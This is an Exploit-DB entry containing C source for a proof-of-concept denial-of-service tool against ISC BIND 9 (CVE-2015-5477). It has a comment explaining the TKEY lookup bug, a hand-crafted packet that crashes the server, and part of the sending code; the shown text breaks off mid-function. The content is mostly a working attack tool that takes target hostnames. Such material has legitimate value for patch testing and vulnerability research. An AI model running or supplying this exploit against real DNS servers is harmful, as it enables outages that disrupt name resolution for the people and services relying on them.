Exploit-DB #37721
Description: ISC BIND 9 - TKEY (PoC)
Type: dos
Platform: multiple
Date: 2015-08-01
Author: Errata Security

Exploit:
/*
    PoC for BIND9 TKEY assert Dos (CVE-2015-5477)

    Usage:
        tkill <hostname>

    What it does:
        - First sends a "version" query to see if the server is up.
        - Regardless of the version response, it then sends the DoS packet.
        - Then it waits 5 seconds for a response. If the server crashes,
          there will be no response.

    Notes:
        - multiple hostnames can be specified on the command-line
        - IP addresses can be specified instead of hostnames
        - supports IPv4 and IPv6
        - runs on Linux, Mac, and Windows (cygwin or VisualStudio)
        - if a hostname resolves to more than one IP, then all IPs
          will be probed

    About the vuln:
        For control information, the "TSIG" feature allows packets to be
        signed with a password. This allows slave servers to get updates
        from master servers without a MitM attack (like from the NSA)
        changing the data on the network.

        A password can be distributed out of band, such as SSHing into
        a box and editing the configuration file. Anther way is through
        public-keys. That's the "TKEY" feature: it distributes new
        TSIG passwords using public-keys.

        When processing a TKEY packet, the code will call a function to
        fetch the proper TKEY record. It looks in two places: the
        "answer records" section, and the "additional records" section.
        If it can't find it in the "additional", it looks in "answer".

        The lookup function takes a parameter that is initially set
        to NULL. During the failed lookup in the "additional" section,
        it may set that parameter to a non-null value. Since a non-null
        value is passed in again during the second lookup in the "answer"
        section, the code crashes.

        The patch was to set the variable to NULL before the second lookup.

        The correct fix would simply not check to see if the parameter
        was NULL to be begin with. It's an out-only parameter, so it's value
        on input doesn't matter.

        This is a just a "brainfart" bug that can only result in a crash
        of the server. It cann't result in data-corruption or code
        execution.

    About this code:
        To learn about writing network code, this is probably something useful
        to study.

        It works on both Windows and Unix (Linux, Mac, etc.). You can see where
        the differences are between the two platforms, as well as the simularities.

        It works on both IPv4 and IPv6. However, if you search through the code,
        you'll find nothing that specifically references either version. It's
        magically dual-stack. That's because it uses new functions like
        "getaddrinfo()" instead of old functions like "gethostbyname()".
        
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>

#ifdef WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define WSA(err) (WSA##err)
#define WSAEAGAIN WSAETIMEDOUT
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#define WSAGetLastError() (errno)
#define WSA(err) (err)
#define closesocket(fd) close(fd)
#endif

/*
 * DoS packet that will crash server
 */
static const unsigned char dospacket[] = {
        0x01, 0x02, /* xid */
        0x01, 0x00, /* query */
        0x00, 0x01, /* one question */
        0x00, 0x00, /* no answer */
        0x00, 0x00, /* no authorities */
        0x00, 0x01, /* one additional: must be 'additional' section to work*/

        /* Query name */
        0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00,
        0x00, 249, /* TKEY record type */
        0x00, 255,

        /* Additional record  */
        0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00, /* name: must be same as query */
        0x00, 16, /* record type: must NOT be 249/TKEY */
        0x00, 255,
        0, 0, 0, 0,
        0, 51,
            50,
            'h', 't', 't', 'p', 's', ':', '/', '/', 
            'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 
            'o', 'm', '/', 'r', 'o', 'b', 'e', 'r', 
            't', 'd', 'a', 'v', 'i', 'd', 'g', 'r', 
            'a', 'h', 'a', 'm', '/', 'c', 'v', 'e', 
            '-', '2', '0', '1', '5', '-', '5', '4', 
            '7', '7'
};


/*
 * Packet for querying the version of the server, to test if it's up
 */
static const unsigned char versionpacket[] = {
        0x03, 0x04, /* xid */
        0x01, 0x00, /* query */
        0x00, 0x01, /* one question */
        0x00, 0x00, /* no answer */
        0x00, 0x00, /* no authorities */
        0x00, 0x00, /* no additional */

        /* Query name */
        0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00,
        0x00, 16, /* TXT */
        0x00, 3,    /* CHOAS */
};


/*
 * YOLO BIND version.bind query
 */
int query_version(int fd, const struct addrinfo *target)
{
    int bytes_received;
    int i;
    struct sockaddr_storage from;
    socklen_t sizeof_from = sizeof(from);
    char hostname[256];
    unsigned char buf[2048];
    int result = 0;

    /* 
     * Query version 
     */
    sendto(fd, (const char*)versionpacket, sizeof(versionpacket), 0, 
            target->ai_addr, target->ai_addrlen);


    /* 
     * get response 
     */
again:
    bytes_received = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from);
    if (bytes_received <= 0 && WSAGetLastError() == WSA(EAGAIN)) {
        fprintf(stderr, "[-] timed out getting version, trying again\n");
        return 0;
    } else if (bytes_received <= 0) {
        fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError());
        return 0;
    }
    getnameinfo((struct sockaddr*)&from, si